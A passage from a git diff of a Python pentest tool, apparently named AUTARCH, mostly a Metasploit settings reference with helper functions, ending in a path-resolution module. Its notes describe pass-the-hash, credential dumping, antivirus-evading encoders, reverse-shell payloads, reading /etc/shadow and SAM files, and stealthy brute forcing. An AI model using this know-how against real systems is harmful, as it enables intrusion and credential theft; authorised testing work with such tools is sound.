containing passwords, one per line. ' + 'Used for credential brute forcing.', + 'input_type': 'file_path', + 'examples': ['/usr/share/wordlists/rockyou.txt', '/opt/seclists/Passwords/common.txt'], + 'default': None, + 'aliases': ['PASSWORD_FILE'], + 'category': 'auth', + 'required': False, + 'notes': 'For brute force attacks. rockyou.txt is a common choice.', + }, + 'NTLM_HASH': { + 'description': 'The NTLM password hash for pass-the-hash (PtH) authentication. ' + 'This allows authentication without knowing the plaintext password. ' + 'Format is LM:NT (both hashes) or just the NT hash alone. The LM hash ' + 'can be set to the empty LM hash (aad3b435b51404eeaad3b435b51404ee) ' + 'if only the NT hash is available.', + 'input_type': 'hash', + 'examples': [ + 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0', + '31d6cfe0d16ae931b73c59d7e0c089c0', + 'aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86', + ], + 'default': None, + 'aliases': ['SMB::NTLM', 'HASH', 'NTHASH'], + 'category': 'auth', + 'required': False, + 'notes': 'Obtain hashes via hashdump, mimikatz, secretsdump, or SAM extraction. ' + 'PtH works on SMB, WMI, WinRM, and other Windows protocols.', + }, + 'PRIVATEKEY': { + 'description': 'Path to a private key file for SSH/SSL authentication.', + 'input_type': 'file_path', + 'examples': ['/root/.ssh/id_rsa', '/home/user/key.pem'], + 'default': None, + 'aliases': ['SSH_KEY', 'KEY_FILE'], + 'category': 'auth', + 'required': False, + 'notes': 'For SSH key-based authentication. Must be readable by MSF.', + }, + + # ========================================================================= + # PAYLOAD OPTIONS + # ========================================================================= + 'PAYLOAD': { + 'description': 'The payload to deliver to the target. Payloads determine what ' + 'happens after successful exploitation (shell, meterpreter, etc).', + 'input_type': 'module_path', + 'examples': [ + 'windows/meterpreter/reverse_tcp', + 'linux/x64/shell_reverse_tcp', + 'cmd/unix/reverse_bash', + ], + 'default': None, + 'aliases': ['P'], + 'category': 'payload', + 'required': True, # For exploits + 'notes': 'Meterpreter provides advanced features. Shell payloads are simpler but reliable.', + }, + 'EXITFUNC': { + 'description': 'How the payload should exit after execution. Affects stability ' + 'and detection.', + 'input_type': 'enum', + 'examples': ['thread', 'process', 'seh', 'none'], + 'default': 'thread', + 'aliases': [], + 'category': 'payload', + 'required': False, + 'notes': 'thread=safest for services, process=kills app, seh=exception handler.', + }, + 'ENCODER': { + 'description': 'The encoder to use for obfuscating the payload. Helps evade ' + 'antivirus detection.', + 'input_type': 'module_path', + 'examples': ['x86/shikata_ga_nai', 'x64/xor', 'cmd/powershell_base64'], + 'default': None, + 'aliases': ['E'], + 'category': 'payload', + 'required': False, + 'notes': 'shikata_ga_nai is popular but well-detected. May need multiple iterations.', + }, + 'ITERATIONS': { + 'description': 'Number of times to encode the payload. More iterations = more obfuscation.', + 'input_type': 'integer', + 'examples': ['1', '5', '10'], + 'default': '1', + 'aliases': ['I'], + 'category': 'payload', + 'required': False, + 'notes': 'More iterations increases size. Diminishing returns after 5-10.', + }, + + # ========================================================================= + # CONNECTION OPTIONS + # ========================================================================= + 'SSL': { + 'description': 'Whether to use SSL/TLS encryption for the connection.', + 'input_type': 'boolean', + 'examples': ['true', 'false'], + 'default': 'false', + 'aliases': ['UseSSL', 'HTTPS'], + 'category': 'connection', + 'required': False, + 'notes': 'Enable for HTTPS targets (port 443). Disable for HTTP (port 80).', + }, + 'PROXIES': { + 'description': 'Proxy server(s) to route traffic through. Format: type:host:port.', + 'input_type': 'proxy', + 'examples': ['socks4:127.0.0.1:9050', 'http:proxy.example.com:8080'], + 'default': None, + 'aliases': ['PROXY'], + 'category': 'connection', + 'required': False, + 'notes': 'Useful for anonymity or pivoting. socks4/socks5/http supported.', + }, + 'TIMEOUT': { + 'description': 'Connection timeout in seconds. How long to wait for a response.', + 'input_type': 'integer', + 'examples': ['5', '10', '30', '60'], + 'default': '10', + 'aliases': ['ConnectTimeout', 'SOCKET_TIMEOUT'], + 'category': 'connection', + 'required': False, + 'notes': 'Increase for slow/distant targets. Decrease for faster scanning.', + }, + 'THREADS': { + 'description': 'Number of concurrent threads/connections to use. Higher = faster ' + 'but more noisy.', + 'input_type': 'integer', + 'examples': ['1', '5', '10', '50'], + 'default': '1', + 'aliases': ['CONCURRENCY'], + 'category': 'connection', + 'required': False, + 'notes': 'For scanners only. Higher threads may trigger IDS/IPS. Start low.', + }, + + # ========================================================================= + # SCAN OPTIONS + # ========================================================================= + 'PORTS': { + 'description': 'Target port(s) to scan. Can be a single port, range, or comma-separated list.', + 'input_type': 'port_range', + 'examples': ['22', '1-1000', '22,80,443,445', '21-25,80,443,8080-8090'], + 'default': '1-10000', + 'aliases': ['RPORTS', 'PORT_RANGE'], + 'category': 'scan', + 'required': False, + 'notes': 'Common ports: 21,22,23,25,80,443,445,3306,3389,5432,8080.', + }, + 'SHOW_PROGRESS': { + 'description': 'Display real-time progress information during scan execution. ' + 'When enabled, shows percentage complete, hosts scanned, and estimated ' + 'time remaining. Useful for long-running scans to monitor status and ' + 'ensure the scan is progressing normally.', + 'input_type': 'boolean', + 'examples': ['true', 'false'], + 'default': 'true', + 'aliases': ['VERBOSE', 'PROGRESS'], + 'category': 'scan', + 'required': False, + 'notes': 'Disable for cleaner output in scripted/automated scans. Enable when ' + 'running interactively to monitor large network scans.', + }, + + # ========================================================================= + # SESSION OPTIONS + # ========================================================================= + 'SESSION': { + 'description': 'The session ID to use for post-exploitation modules. ' + 'Refers to an existing compromised session.', + 'input_type': 'integer', + 'examples': ['1', '2', '3'], + 'default': None, + 'aliases': ['S'], + 'category': 'session', + 'required': True, # For post modules + 'notes': 'Use "sessions -l" to list available sessions and their IDs.', + }, + + # ========================================================================= + # DATABASE OPTIONS + # ========================================================================= + 'DATABASE': { + 'description': 'The name of the target database to connect to or enumerate. ' + 'For MySQL/MariaDB, common databases include mysql, information_schema. ' + 'For MSSQL, master and msdb are system databases. For PostgreSQL, ' + 'postgres is the default. Web applications typically have custom ' + 'database names like webapp_db, wordpress, etc.', + 'input_type': 'string', + 'examples': ['mysql', 'information_schema', 'webapp_db', 'master', 'postgres'], + 'default': None, + 'aliases': ['DB', 'DBNAME', 'DATABASE_NAME'], + 'category': 'database', + 'required': False, + 'notes': 'Use information_schema (MySQL) or master (MSSQL) to enumerate other ' + 'databases. Some modules auto-detect available databases.', + }, + + # ========================================================================= + # OUTPUT OPTIONS + # ========================================================================= + 'VERBOSE': { + 'description': 'Enable verbose output for more detailed information.', + 'input_type': 'boolean', + 'examples': ['true', 'false'], + 'default': 'false', + 'aliases': ['V', 'DEBUG'], + 'category': 'output', + 'required': False, + 'notes': 'Helpful for troubleshooting but increases output volume.', + }, + 'OUTPUT_FILE': { + 'description': 'File path where scan results or module output will be saved. ' + 'The output format depends on the module - some save raw text, ' + 'others save structured data (XML, JSON, CSV). Useful for ' + 'documentation, reporting, and further analysis. The directory ' + 'must exist and be writable.', + 'input_type': 'file_path', + 'examples': ['/tmp/scan_results.txt', '/root/loot/output.txt', './results/nmap_scan.xml'], + 'default': None, + 'aliases': ['OUTFILE', 'LOGFILE', 'OUTPUT'], + 'category': 'output', + 'required': False, + 'notes': 'Create a dedicated loot/results directory for organization. Some modules ' + 'support format suffixes (.xml, .json) to control output format.', + }, + + # ========================================================================= + # SMB-SPECIFIC OPTIONS + # ========================================================================= + 'SMBUser': { + 'description': 'Username for SMB (Server Message Block) authentication to Windows ' + 'file shares and services. This is the Windows account username used ' + 'to authenticate. For domain accounts, just provide the username - ' + 'the domain is specified separately in SMBDomain.', + 'input_type': 'string', + 'examples': ['administrator', 'admin', 'guest', 'svc_backup', 'YOURUSER'], + 'default': None, + 'aliases': ['USERNAME', 'USER', 'SMBUSERNAME'], + 'category': 'smb', + 'required': False, + 'notes': 'Leave blank for anonymous/null session attempts. Guest account may work ' + 'on misconfigured systems. Try administrator, admin, or service accounts.', + }, + 'SMBPass': { + 'description': 'Password for SMB authentication. This is the plaintext password ' + 'for the account specified in SMBUser. For pass-the-hash attacks, ' + 'leave this blank and use the NTLM_HASH option instead.', + 'input_type': 'password', + 'examples': ['password123', 'P@ssw0rd!', 'Summer2024!', 'Welcome1'], + 'default': None, + 'aliases': ['PASSWORD', 'PASS', 'SMBPASSWORD'], + 'category': 'smb', + 'required': False, + 'notes': 'Can use NTLM hash instead via SMB::NTLM or NTLM_HASH option for PtH attacks. ' + 'Common weak passwords: Password1, Welcome1, Company123, Season+Year.', + }, + 'SMBDomain': { + 'description': 'The Windows domain or workgroup name for SMB authentication. For ' + 'domain-joined machines, use the NetBIOS domain name (e.g., CORP) or ' + 'FQDN (e.g., corp.local). For standalone/workgroup machines, use ' + 'WORKGROUP or a period (.) to indicate local authentication.', + 'input_type': 'string', + 'examples': ['WORKGROUP', 'CORP', 'domain.local', '.', 'MYDOMAIN'], + 'default': '.', + 'aliases': ['DOMAIN', 'SMB_DOMAIN'], + 'category': 'smb', + 'required': False, + 'notes': 'Use . or WORKGROUP for local account authentication. For domain accounts, ' + 'the domain must match the target. Try both NETBIOS and FQDN formats.', + }, + 'SHARE': { + 'description': 'The SMB share name to connect to on the target. Administrative shares ' + '(C$, ADMIN$, IPC$) are hidden shares that require admin privileges. ' + 'IPC$ is used for null sessions and named pipe communication. Custom ' + 'shares (shared, public, data) vary by system configuration.', + 'input_type': 'string', + 'examples': ['C$', 'ADMIN$', 'IPC$', 'shared', 'public', 'Users', 'NETLOGON', 'SYSVOL'], + 'default': None, + 'aliases': ['SMB_SHARE', 'SHARENAME'], + 'category': 'smb', + 'required': False, + 'notes': 'C$ = C: drive (admin), ADMIN$ = Windows dir (admin), IPC$ = inter-process ' + '(null sessions). NETLOGON/SYSVOL on DCs often readable by domain users.', + }, + + # ========================================================================= + # HTTP-SPECIFIC OPTIONS + # ========================================================================= + 'HttpUsername': { + 'description': 'Username for HTTP Basic or Digest authentication. This is used when ' + 'a web server or application requires HTTP-level authentication (the ' + 'browser popup dialog). Not the same as form-based login credentials. ' + 'The credentials are sent in the Authorization header.', + 'input_type': 'string', + 'examples': ['admin', 'root', 'user', 'webadmin', 'tomcat'], + 'default': None, + 'aliases': ['USERNAME', 'HTTP_USER', 'AUTH_USER'], + 'category': 'http', + 'required': False, + 'notes': 'For HTTP 401 authentication prompts. Common defaults: admin/admin, ' + 'tomcat/tomcat, root/root. Check for .htpasswd files.', + }, + 'HttpPassword': { + 'description': 'Password for HTTP Basic or Digest authentication. Paired with ' + 'HttpUsername for HTTP-level authentication. These credentials are ' + 'base64-encoded (Basic) or hashed (Digest) in the Authorization header.', + 'input_type': 'password', + 'examples': ['admin', 'password', 'secret', 'tomcat', 'manager'], + 'default': None, + 'aliases': ['PASSWORD', 'HTTP_PASS', 'AUTH_PASS'], + 'category': 'http', + 'required': False, + 'notes': 'HTTP Basic sends credentials in easily-decoded base64. Always use HTTPS. ' + 'Common combos: admin/admin, admin/password, tomcat/s3cret.', + }, + 'COOKIE': { + 'description': 'HTTP cookie(s) to include with every request. Used to maintain ' + 'authenticated sessions or provide required tokens. Multiple cookies ' + 'are separated by semicolons. Copy from browser DevTools (F12) > ' + 'Network tab > Request Headers > Cookie.', + 'input_type': 'string', + 'examples': [ + 'session=abc123', + 'PHPSESSID=xyz789; auth=true', + 'JSESSIONID=ABC123; csrf_token=xyz', + 'wordpress_logged_in=admin%7C1234567890', + ], + 'default': None, + 'aliases': ['COOKIES', 'HTTP_COOKIE', 'SESSION_COOKIE'], + 'category': 'http', + 'required': False, + 'notes': 'Get cookies from browser DevTools, Burp Suite, or login response. ' + 'Cookies may expire - refresh if attacks fail after a while.', + }, + 'USERAGENT': { + 'description': 'The User-Agent HTTP header identifying the browser/client. Servers ' + 'may behave differently based on User-Agent. Some WAFs block suspicious ' + 'or non-browser User-Agents. Spoofing helps blend in with normal traffic.', + 'input_type': 'string', + 'examples': [ + 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', + 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X)', + 'Mozilla/5.0 (compatible; Googlebot/2.1)', + 'curl/7.68.0', + ], + 'default': 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1)', + 'aliases': ['USER_AGENT', 'UA', 'HTTP_USER_AGENT'], + 'category': 'http', + 'required': False, + 'notes': 'Use current browser strings for stealth. Googlebot UA may bypass auth. ' + 'Some sites serve different content to mobile vs desktop UAs.', + }, + 'METHOD': { + 'description': 'The HTTP method (verb) for the request. GET retrieves data, POST ' + 'submits data, PUT updates/creates resources, DELETE removes resources, ' + 'HEAD gets headers only. The correct method depends on the target ' + 'application and vulnerability being exploited.', + 'input_type': 'enum', + 'examples': ['GET', 'POST', 'PUT', 'DELETE', 'HEAD', 'OPTIONS', 'PATCH'], + 'default': 'GET', + 'aliases': ['HTTP_METHOD', 'VERB', 'REQUEST_METHOD'], + 'category': 'http', + 'required': False, + 'notes': 'GET for reading/triggering, POST for sending payloads, PUT for upload vulns, ' + 'OPTIONS for CORS checks. HEAD useful for fingerprinting without downloading.', + }, + 'DATA': { + 'description': 'The HTTP request body data, typically for POST/PUT requests. Can be ' + 'URL-encoded form data (param=value¶m2=value2), JSON ({\"key\": \"val\"}), ' + 'XML, or raw data. The format should match the Content-Type header.', + 'input_type': 'string', + 'examples': [ + 'username=admin&password=test', + '{"user":"admin","pass":"secret"}', + 'admin', + 'cmd=whoami', + ], + 'default': None, + 'aliases': ['POSTDATA', 'BODY', 'HTTP_DATA', 'REQUEST_BODY'], + 'category': 'http', + 'required': False, + 'notes': 'URL-encode special characters in form data. For JSON, ensure quotes are ' + 'escaped properly. Capture real requests with Burp to get exact format.', + }, + + # ========================================================================= + # SSH-SPECIFIC OPTIONS + # ========================================================================= + 'SSH_TIMEOUT': { + 'description': 'Timeout in seconds for establishing SSH connections. If the target ' + 'does not respond within this time, the connection attempt is aborted. ' + 'Affects the initial TCP connection and SSH handshake. Increase for ' + 'high-latency networks, firewalled hosts, or slow systems.', + 'input_type': 'integer', + 'examples': ['10', '30', '60', '120'], + 'default': '30', + 'aliases': ['TIMEOUT', 'CONNECTION_TIMEOUT'], + 'category': 'ssh', + 'required': False, + 'notes': 'Too short may miss slow targets. Too long wastes time on dead hosts. ' + 'Start with 30s, increase to 60-120s for distant or filtered targets.', + }, + 'SSH_KEYFILE_B64': { + 'description': 'Base64-encoded SSH private key for authentication. Alternative to ' + 'providing a key file path. Useful when the key is stored in a database ' + 'or passed programmatically rather than read from disk.', + 'input_type': 'string', + 'examples': [ + 'LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVE...', + 'LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVkt...', + ], + 'default': None, + 'aliases': ['KEY_B64', 'SSH_KEY_B64'], + 'category': 'ssh', + 'required': False, + 'notes': 'Base64-encode key: cat id_rsa | base64 -w0. Useful for automation and API calls.', + }, + + # ========================================================================= + # COMMAND EXECUTION OPTIONS + # ========================================================================= + 'CMD': { + 'description': 'The shell command to execute on the target system after successful ' + 'exploitation. The command runs with the privileges of the compromised ' + 'user or service. For Windows use cmd.exe syntax, for Linux use bash. ' + 'Complex commands may need proper escaping or base64 encoding.', + 'input_type': 'string', + 'examples': [ + 'whoami', + 'id', + 'cat /etc/passwd', + 'net user', + 'ipconfig /all', + 'uname -a', + 'powershell -enc ', + ], + 'default': None, + 'aliases': ['COMMAND', 'EXEC', 'EXECUTE', 'RUN'], + 'category': 'execution', + 'required': False, + 'notes': 'Commands run as the exploited user/service - check with whoami/id first. ' + 'Avoid interactive commands. Use full paths if PATH is limited.', + }, + 'CMDSTAGER': { + 'description': 'The method used to stage and execute commands on the target. Different ' + 'stagers work better in different environments. VBS and PowerShell for ' + 'Windows, curl/wget for Linux, certutil for restricted Windows.', + 'input_type': 'enum', + 'examples': ['auto', 'vbs', 'powershell', 'curl', 'wget', 'certutil', 'tftp'], + 'default': 'auto', + 'aliases': ['STAGER', 'CMD_STAGER'], + 'category': 'execution', + 'required': False, + 'notes': 'auto selects best method. Try certutil/bitsadmin on hardened Windows. ' + 'curl/wget need outbound access. tftp works without full shell.', + }, + + # ========================================================================= + # FILE OPERATION OPTIONS + # ========================================================================= + 'RFILE': { + 'description': 'Full path to the file on the remote/target system to read, download, ' + 'or manipulate. Use forward slashes (/) for Linux/Unix and backslashes ' + '(\\) for Windows. Requires appropriate permissions on the target.', + 'input_type': 'path', + 'examples': [ + '/etc/passwd', + '/etc/shadow', + '/home/user/.ssh/id_rsa', + 'C:\\Windows\\System32\\config\\SAM', + 'C:\\Users\\Admin\\Desktop\\secrets.txt', + '/var/www/html/config.php', + ], + 'default': None, + 'aliases': ['REMOTE_FILE', 'FILE', 'PATH', 'FILEPATH'], + 'category': 'file', + 'required': False, + 'notes': 'High-value targets: /etc/shadow (Linux hashes), SAM/SYSTEM (Windows hashes), ' + 'SSH keys, config files with credentials, .bash_history, web.config.', + }, + 'LFILE': { + 'description': 'Full path on your local system where files will be saved (for downloads) ' + 'or read from (for uploads). Ensure the directory exists and you have ' + 'write permissions. Organize loot in dedicated directories.', + 'input_type': 'file_path', + 'examples': [ + '/tmp/downloaded_file', + '/root/loot/target_passwd', + '/home/user/exfil/data.txt', + './loot/credentials.txt', + ], + 'default': None, + 'aliases': ['LOCAL_FILE', 'LOCALPATH', 'SAVEPATH'], + 'category': 'file', + 'required': False, + 'notes': 'Create organized directories: loot/, exfil/, downloads/. Use descriptive names ' + 'including target and date. Ensure write permissions before running module.', + }, + + # ========================================================================= + # ADDITIONAL COMMON OPTIONS + # ========================================================================= + 'WORKSPACE': { + 'description': 'The Metasploit workspace to use for organizing data. Workspaces keep ' + 'hosts, services, and loot separated by engagement. Useful for managing ' + 'multiple assessments or clients.', + 'input_type': 'string', + 'examples': ['default', 'client_acme', 'internal_2024', 'webapp_test'], + 'default': 'default', + 'aliases': ['WS'], + 'category': 'database', + 'required': False, + 'notes': 'Create per-engagement workspaces to avoid data mixing. Use "workspace" ' + 'command in msfconsole to list and switch.', + }, + 'BLANK_PASSWORDS': { + 'description': 'Whether to try blank/empty passwords during authentication attempts. ' + 'Many systems have accounts with no password set, especially default ' + 'or test accounts.', + 'input_type': 'boolean', + 'examples': ['true', 'false'], + 'default': 'true', + 'aliases': ['EMPTY_PASSWORDS', 'TRY_BLANK'], + 'category': 'auth', + 'required': False, + 'notes': 'Often successful on default installs, test environments, and misconfigured ' + 'systems. Quick win before full password attacks.', + }, + 'USER_AS_PASS': { + 'description': 'Whether to try the username as the password. Many users set their ' + 'password to match their username, especially on internal systems.', + 'input_type': 'boolean', + 'examples': ['true', 'false'], + 'default': 'true', + 'aliases': ['USERNAME_AS_PASSWORD'], + 'category': 'auth', + 'required': False, + 'notes': 'Common lazy password pattern. Try before heavy wordlist attacks.', + }, + 'STOP_ON_SUCCESS': { + 'description': 'Whether to stop scanning/brute-forcing after the first successful ' + 'result. Enable for quick wins, disable to find all valid credentials.', + 'input_type': 'boolean', + 'examples': ['true', 'false'], + 'default': 'true', + 'aliases': ['ABORT_ON_SUCCESS'], + 'category': 'scan', + 'required': False, + 'notes': 'Disable to enumerate all valid creds. Enable when you just need one way in.', + }, + 'BRUTEFORCE_SPEED': { + 'description': 'Speed setting for brute force attacks. Higher speeds are faster but ' + 'more likely to trigger lockouts and detection. Lower speeds are stealthier.', + 'input_type': 'integer', + 'examples': ['1', '2', '3', '4', '5'], + 'default': '5', + 'aliases': ['SPEED'], + 'category': 'auth', + 'required': False, + 'notes': '5=fastest/loudest, 1=slowest/stealthiest. Use 2-3 for production systems ' + 'with lockout policies. 5 okay for CTF/lab environments.', + }, + 'AutoRunScript': { + 'description': 'Script to automatically run when a session is created. Useful for ' + 'automating post-exploitation tasks like migration, persistence, or ' + 'privilege escalation checks.', + 'input_type': 'string', + 'examples': [ + 'post/windows/manage/migrate', + 'post/multi/manage/autoroute', + 'post/windows/gather/hashdump', + ], + 'default': None, + 'aliases': ['AUTORUN', 'InitialAutoRunScript'], + 'category': 'session', + 'required': False, + 'notes': 'Common: migrate (move to stable process), autoroute (pivot), hashdump (creds). ' + 'Chain multiple scripts with semicolons.', + }, + 'PrependMigrate': { + 'description': 'Automatically migrate to a new process after payload execution. ' + 'Improves stability by moving out of the exploited process which may crash.', + 'input_type': 'boolean', + 'examples': ['true', 'false'], + 'default': 'false', + 'aliases': ['MIGRATE'], + 'category': 'payload', + 'required': False, + 'notes': 'Recommended for exploits targeting unstable processes. Target process ' + 'set with PrependMigrateProc option.', + }, + 'DisablePayloadHandler': { + 'description': 'Whether to skip starting a handler for the payload. Enable when using ' + 'an external handler (multi/handler) or for payloads that connect to ' + 'an existing listener.', + 'input_type': 'boolean', + 'examples': ['true', 'false'], + 'default': 'false', + 'aliases': ['NOHANDLER'], + 'category': 'payload', + 'required': False, + 'notes': 'Enable when running multi/handler separately. Useful for mass exploitation ' + 'where one handler catches multiple shells.', + }, +} + + +# ============================================================================= +# CATEGORY DESCRIPTIONS +# ============================================================================= + +SETTING_CATEGORIES = { + 'target': { + 'name': 'Target Options', + 'description': 'Settings that define what system(s) to attack', + 'color': 'RED', + }, + 'local': { + 'name': 'Local/Listener Options', + 'description': 'Settings for your local machine (callbacks, listeners)', + 'color': 'GREEN', + }, + 'auth': { + 'name': 'Authentication Options', + 'description': 'Credentials and authentication settings', + 'color': 'YELLOW', + }, + 'payload': { + 'name': 'Payload Options', + 'description': 'Settings for the payload delivered after exploitation', + 'color': 'MAGENTA', + }, + 'connection': { + 'name': 'Connection Options', + 'description': 'Network connection settings (SSL, proxy, timeout)', + 'color': 'CYAN', + }, + 'scan': { + 'name': 'Scan Options', + 'description': 'Settings specific to scanning modules', + 'color': 'BLUE', + }, + 'session': { + 'name': 'Session Options', + 'description': 'Settings for working with existing sessions', + 'color': 'WHITE', + }, + 'database': { + 'name': 'Database Options', + 'description': 'Database-related settings', + 'color': 'CYAN', + }, + 'output': { + 'name': 'Output Options', + 'description': 'Logging and output settings', + 'color': 'WHITE', + }, + 'smb': { + 'name': 'SMB Options', + 'description': 'SMB/Windows-specific settings', + 'color': 'BLUE', + }, + 'http': { + 'name': 'HTTP Options', + 'description': 'HTTP/Web-specific settings', + 'color': 'GREEN', + }, + 'ssh': { + 'name': 'SSH Options', + 'description': 'SSH-specific settings', + 'color': 'YELLOW', + }, + 'execution': { + 'name': 'Execution Options', + 'description': 'Command execution settings', + 'color': 'RED', + }, + 'file': { + 'name': 'File Options', + 'description': 'File operation settings', + 'color': 'CYAN', + }, +} + + +# ============================================================================= +# API FUNCTIONS +# ============================================================================= + +def get_setting_info(name: str) -> Optional[Dict[str, Any]]: + """Get information about an MSF setting. + + Args: + name: Setting name (case-insensitive). + + Returns: + Dictionary with setting info, or None if not found. + """ + # Normalize name + name_upper = name.upper() + + # Direct lookup + if name_upper in MSF_SETTINGS: + return MSF_SETTINGS[name_upper].copy() + + # Check aliases + for setting_name, info in MSF_SETTINGS.items(): + aliases = [a.upper() for a in info.get('aliases', [])] + if name_upper in aliases: + result = info.copy() + result['canonical_name'] = setting_name + return result + + return None + + +def get_setting_description(name: str) -> str: + """Get just the description for a setting. + + Args: + name: Setting name. + + Returns: + Description string, or 'Unknown setting' if not found. + """ + info = get_setting_info(name) + if info: + return info['description'] + return f"Unknown setting: {name}" + + +def get_setting_prompt(name: str, default: Any = None, required: bool = False) -> str: + """Get a formatted input prompt for a setting. + + Args: + name: Setting name. + default: Default value to show. + required: Whether the setting is required. + + Returns: + Formatted prompt string. + """ + info = get_setting_info(name) + + if info: + # Build prompt with examples + examples = info.get('examples', []) + example_str = f" (e.g., {examples[0]})" if examples else "" + + if default is not None: + return f"{name}{example_str} [{default}]: " + elif required: + return f"{name}{example_str} (required): " + else: + return f"{name}{example_str}: " + else: + if default is not None: + return f"{name} [{default}]: " + return f"{name}: " + + +def format_setting_help(name: str, include_examples: bool = True, include_notes: bool = True) -> str: + """Get a formatted help text for a setting. + + Args: + name: Setting name. + include_examples: Whether to include examples. + include_notes: Whether to include notes. + + Returns: + Formatted help string. + """ + info = get_setting_info(name) + + if not info: + return f"No help available for: {name}" + + lines = [info['description']] + + if include_examples and info.get('examples'): + examples = ', '.join(info['examples'][:3]) + lines.append(f"Examples: {examples}") + + if info.get('default'): + lines.append(f"Default: {info['default']}") + + if include_notes and info.get('notes'): + lines.append(f"Note: {info['notes']}") + + return '\n'.join(lines) + + +def get_settings_by_category(category: str) -> Dict[str, Dict]: + """Get all settings in a category. + + Args: + category: Category name. + + Returns: + Dictionary of setting name -> info. + """ + return { + name: info for name, info in MSF_SETTINGS.items() + if info.get('category') == category + } + + +def get_common_settings() -> List[str]: + """Get list of most commonly used settings. + + Returns: + List of setting names. + """ + return [ + 'RHOSTS', 'RHOST', 'RPORT', + 'LHOST', 'LPORT', + 'USERNAME', 'PASSWORD', + 'PAYLOAD', 'THREADS', 'SSL', + ] + + +def get_category_info(category: str) -> Optional[Dict[str, str]]: + """Get information about a setting category. + + Args: + category: Category name. + + Returns: + Dictionary with category info, or None if not found. + """ + return SETTING_CATEGORIES.get(category) + + +def list_all_settings() -> List[str]: + """Get list of all known setting names. + + Returns: + List of setting names. + """ + return list(MSF_SETTINGS.keys()) + + +def list_categories() -> List[str]: + """Get list of all setting categories. + + Returns: + List of category names. + """ + return list(SETTING_CATEGORIES.keys()) + + +def validate_setting_value(name: str, value: str) -> tuple: + """Validate a value for a setting. + + Args: + name: Setting name. + value: Value to validate. + + Returns: + Tuple of (is_valid, error_message or None). + """ + info = get_setting_info(name) + + if not info: + return True, None # Unknown settings pass through + + input_type = info.get('input_type', 'string') + + if input_type == 'port': + try: + port = int(value) + if not (1 <= port <= 65535): + return False, "Port must be between 1 and 65535" + except ValueError: + return False, "Port must be a number" + + elif input_type == 'integer': + try: + int(value) + except ValueError: + return False, "Must be a number" + + elif input_type == 'boolean': + if value.lower() not in ('true', 'false', 'yes', 'no', '1', '0'): + return False, "Must be true/false, yes/no, or 1/0" + + elif input_type == 'ip': + import re + ip_pattern = r'^(\d{1,3}\.){3}\d{1,3}$' + if not re.match(ip_pattern, value): + # Could be a hostname, which is also valid + if not re.match(r'^[a-zA-Z0-9][a-zA-Z0-9\-\.]*$', value): + return False, "Must be a valid IP address or hostname" + + elif input_type == 'port_range': + # Validate port range format + import re + if not re.match(r'^[\d,\-\s]+$', value): + return False, "Invalid port range format. Use: 22 or 1-1000 or 22,80,443" + + return True, None + + +# ============================================================================= +# QUICK REFERENCE +# ============================================================================= + +def print_quick_reference(): + """Print a quick reference of common settings.""" + print("MSF Settings Quick Reference") + print("=" * 60) + + for category in ['target', 'local', 'auth', 'payload', 'connection']: + cat_info = SETTING_CATEGORIES.get(category, {}) + print(f"\n{cat_info.get('name', category.upper())}") + print("-" * 40) + + settings = get_settings_by_category(category) + for name, info in settings.items(): + desc = info['description'][:50] + "..." if len(info['description']) > 50 else info['description'] + print(f" {name:15} - {desc}") + + +if __name__ == "__main__": + # Test the module + print_quick_reference() + + print("\n" + "=" * 60) + print("Testing get_setting_info('RHOSTS'):") + print(format_setting_help('RHOSTS')) + + print("\n" + "=" * 60) + print("Testing get_setting_prompt('RPORT', default=445):") + print(get_setting_prompt('RPORT', default=445)) diff --git a/core/paths.py b/core/paths.py new file mode 100644 index 0000000..c3f5b2a --- /dev/null +++ b/core/paths.py @@ -0,0 +1,309 @@ +""" +AUTARCH Path Resolution +Centralized path management for cross-platform portability. + +All paths resolve relative to the application root directory. +Tool lookup checks project directories first, then system PATH. +""" + +import os +import platform +import shutil +from pathlib import Path +from typing import Optional, List + + +# ── Application Root ──────────────────────────────────────────────── +# +# Two directories matter: +# _BUNDLE_DIR — read-only bundled assets (templates, static, default modules) +# Points to sys._MEIPASS in a frozen PyInstaller build, +# otherwise same as _APP_DIR. +# _APP_DIR — writable application root (config, data, results, user modules) +# Points to the .exe's parent directory in a frozen build, +# otherwise the project root (parent of core/). + +import sys as _sys + +_FROZEN = getattr(_sys, 'frozen', False) + +if _FROZEN: + # PyInstaller frozen build + _BUNDLE_DIR = Path(_sys._MEIPASS) + _APP_DIR = Path(_sys.executable).resolve().parent +else: + # Normal Python execution + _APP_DIR = Path(__file__).resolve().parent.parent + _BUNDLE_DIR = _APP_DIR + + +def is_frozen() -> bool: + """Return True if running from a PyInstaller bundle.""" + return _FROZEN + + +def get_app_dir() -> Path: + """Return the writable application root directory.""" + return _APP_DIR + + +def get_bundle_dir() -> Path: + """Return the bundle directory (read-only assets: templates, static, default modules).""" + return _BUNDLE_DIR + + +def get_core_dir() -> Path: + return _BUNDLE_DIR / 'core' + + +def get_modules_dir() -> Path: + """Return the bundled modules directory (read-only in frozen mode).""" + return _BUNDLE_DIR / 'modules' + + +def get_user_modules_dir() -> Path: + """Return the user modules directory (writable, next to exe). + New or modified modules go here; scanned in addition to bundled modules.""" + d = _APP_DIR / 'modules' + if _FROZEN: + d.mkdir(parents=True, exist_ok=True) + return d + + +def get_data_dir() -> Path: + d = _APP_DIR / 'data' + d.mkdir(parents=True, exist_ok=True) + return d + + +def get_config_path() -> Path: + """Return config path. Writable copy lives next to the exe; + falls back to the bundled default if the writable copy doesn't exist yet.""" + writable = _APP_DIR / 'autarch_settings.conf' + if not writable.exists() and _FROZEN: + bundled = _BUNDLE_DIR / 'autarch_settings.conf' + if bundled.exists(): + import shutil as _sh + _sh.copy2(str(bundled), str(writable)) + return writable + + +def get_results_dir() -> Path: + d = _APP_DIR / 'results' + d.mkdir(parents=True, exist_ok=True) + return d + + +def get_reports_dir() -> Path: + d = get_results_dir() / 'reports' + d.mkdir(parents=True, exist_ok=True) + return d + + +def get_dossiers_dir() -> Path: + d = _APP_DIR / 'dossiers' + d.mkdir(parents=True, exist_ok=True) + return d + + +def get_uploads_dir() -> Path: + d = get_data_dir() / 